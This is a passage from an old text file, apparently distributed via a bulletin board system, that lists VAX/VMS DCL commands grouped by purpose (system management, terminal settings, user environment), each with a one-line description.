Initializes the accounting log file. SET AUDIT Enables auditing of security events. SET COMMAND Updates the commands available to the system. SET DAY Changes the day type. SET LOGINS Sets a limit on the number of interactive users. SET TIME Resets the system clock. SHOW ERROR Displays processor, memory, and device error counts. SHOW MEMORY Displays usage information on memory. SHOW SYSTEM Lists the processes on the running system. SHOW USER Lists the interactive users on the running system. ------------------------------------------------------------------------------- 11. Manipulating your terminal-specific interactive environment CONNECT Connects a physical terminal to a virtual terminal. DEFINE/KEY Equates terminal function keys to command lines. DELETE/KEY Deletes a terminal function key definition. DISCONNECT Disconnects a physical terminal from a virtual terminal. RECALL Recalls previously entered interactive commands. SET CONTROL Controls the use of the CTRL/T and CTRL/Y keys. SET HOST Connects your terminal to another system via DECnet. SET PROMPT Sets the interactive command prompt. SET TERMINAL Sets terminal characteristics. SHOW KEY Displays one or more function key definitions. SHOW TERMINAL Displays terminal characteristics. ------------------------------------------------------------------------------- 12. Examining and controlling the user environment. SET COMMAND Updates the commands available to the process. SET CONTROL Controls the use of the CTRL/T and CTRL/Y keys. SET DEFAULT Changes the default device and directory. SET HOST Connects your terminal to another system via DECnet. SET MESSAGE Overrides or supplements system messages. SET PASSWORD Changes your password. SET PROCESS Changes your process characteristics. SET PROMPT Sets the interactive command prompt. SET PROTECT/DEF Changes the default protection given to files. SET RMS_DEFAULT Changes the default block and buffer count values. SET UIC Changes the UIC of your process. SET WORKING_SET Changes your working set limit or quota. SHOW DEFAULT Displays the default device and directory. SHOW KEY Displays one or more function key definitions. SHOW LOGICAL Displays logical names and their equivalencies. SHOW PROCESS Displays your process characteristics. SHOW PROTECTION Displays the default protection. SHOW QUOTA Displays your quota of space on a disk volume. SHOW RMS_DEFAULT Displays the default block and buffer count values. SHOW STATUS Displays brief process characteristics. SHOW SYMBOL Displays the value of a symbol. SHOW TERMINAL Displays terminal characteristics. SHOW TIME Displays the current date and time. SHOW TRANSLATION Displays a logical name and its first equivalence. SHOW WORKING_SET Displays your working set limit and quota. ------------------------------------------------------------------------------- Downloaded From P-80 Systems 304-744-2253